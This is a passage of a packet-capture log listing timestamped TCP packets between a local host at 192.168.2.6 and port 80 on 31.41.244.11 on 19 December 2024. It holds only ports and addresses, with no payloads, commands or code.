Dec 19, 2024 16:10:19.430990934 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.431139946 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.432096958 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.432143927 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.432233095 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.432337999 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.433065891 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.433171034 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.433211088 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.434212923 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.434262991 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.434288979 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.434343100 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.435333014 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.435375929 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.435513973 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.435559988 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.436423063 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.436666012 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.436922073 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.437050104 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.437587023 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.437624931 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.437782049 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.437839985 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.438688040 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.438714027 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.438733101 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.438751936 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.439968109 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.440025091 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.440036058 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.440104961 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.441026926 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.441071033 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.441101074 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.441138029 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.442065001 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.442125082 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.442341089 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.442385912 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.443169117 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.443211079 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.443227053 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.443264008 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.444312096 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.444348097 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.444370985 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.444391966 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.445394993 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.445460081 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.445544004 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.445589066 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.446611881 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.446665049 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.447331905 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.447384119 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.447630882 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.447688103 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.447722912 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.447825909 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.448751926 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.448803902 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.449064970 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.449103117 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.449923992 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.449975967 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.450134993 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.450177908 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.451014042 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.451067924 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.451082945 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.451205969 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.452224016 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.452277899 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.452483892 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.452526093 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.455925941 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.455943108 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.455955029 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.455966949 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.455980062 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.455984116 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.456029892 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.456067085 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.456130028 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.457093000 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.457175016 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.457236052 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.457627058 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.458431959 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.458487034 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.459264040 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.459306955 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.459665060 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.459682941 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.459734917 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.459734917 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.460624933 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.460652113 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.460701942 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.460701942 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.461668968 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.461683989 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.461724997 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.462754011 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.463025093 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.463100910 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.463459015 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.463814020 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.463995934 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.464823961 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.464950085 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.465130091 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.465145111 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.465173960 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.466255903 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.466646910 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.466689110 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.466814995 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.467358112 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.467402935 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.467830896 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.467999935 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.468344927 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.468359947 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.468411922 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.468411922 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.469683886 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.469733953 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.469856977 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.469908953 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.470583916 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.470624924 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.470897913 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.470946074 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.471744061 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.471785069 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.472248077 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.472295046 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.472932100 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.472945929 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.472982883 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.474189997 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.474239111 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.474359035 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.474487066 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.475195885 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.475208044 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.475234032 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.475255013 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.476346970 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.476401091 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.476521969 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.476562977 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.477277994 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.477323055 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.614268064 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.614341974 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.614399910 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.614779949 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.614836931 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.614926100 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.614970922 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.615071058 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.615117073 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.616080046 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.616133928 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.616220951 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.616266012 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.617171049 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.617229939 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.617299080 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.617414951 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.618469954 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.618520021 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.618623972 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.618666887 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.619573116 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.619625092 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.619708061 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.619750023 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.620563030 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.620610952 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.620862007 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.620914936 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.621680975 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.621732950 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.622020006 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.622062922 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.622888088 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.622967005 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.623290062 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.623336077 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.623971939 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.624017000 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.624464035 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.624510050 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.625257969 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.625271082 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.625310898 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.625346899 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.626194000 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.626240969 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.626374006 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.626427889 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.627351046 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.627405882 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.627573967 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.627619982 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.628467083 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.628520012 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.628595114 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.628643036 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.630073071 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.630161047 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.630244017 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.630306005 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.631181955 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.631236076 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.631778002 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.631814957 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.632177114 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.632220030 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.632603884 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.632658958 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.633171082 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.633213997 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.633250952 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.633296013 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.634181976 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.634231091 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.634426117 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.634638071 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.635591030 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.635642052 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.635768890 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.635807991 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.636548996 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.636734962 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.636993885 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.637032032 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.637391090 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.637435913 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.637645006 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.637689114 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.638828039 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.638895035 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.639041901 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.639086962 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.639874935 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.640063047 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.640134096 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.640428066 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.640758991 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.640837908 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.640844107 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.640954018 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.641923904 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.641988993 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.642019033 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.642127037 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.643062115 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.643122911 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.643174887 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.643218040 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.644171953 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.644216061 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.644361973 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.644402027 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.645291090 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.645339966 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.645418882 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.645459890 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.646387100 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.646434069 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.646761894 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.646811962 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.647512913 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.647557020 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.647722006 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.647805929 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.648597002 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.648647070 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.648819923 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.648864985 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.649831057 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.649892092 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.649904966 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.650074959 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.650839090 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.650927067 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.651110888 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.651149988 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.651968002 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.652018070 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.652051926 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.652101040 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.653151989 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.653193951 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.653357983 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.653405905 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.654232979 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.654290915 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.654712915 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.654758930 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.655353069 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.655402899 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.655555964 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.655635118 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.656449080 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.656502008 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.657375097 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.657424927 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.657604933 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.657618046 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.657655001 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.658680916 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.658739090 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.658910990 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.658951998 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.659836054 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.659986973 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.660029888 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.661076069 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.661181927 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.661231995 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.662312984 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.662419081 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.662472963 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.663417101 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.663494110 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.663543940 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.664323092 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.664370060 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.664479971 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.664776087 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.665421963 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.665472984 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.665528059 CET	80	49857	31.41.244.11	192.168.2.6
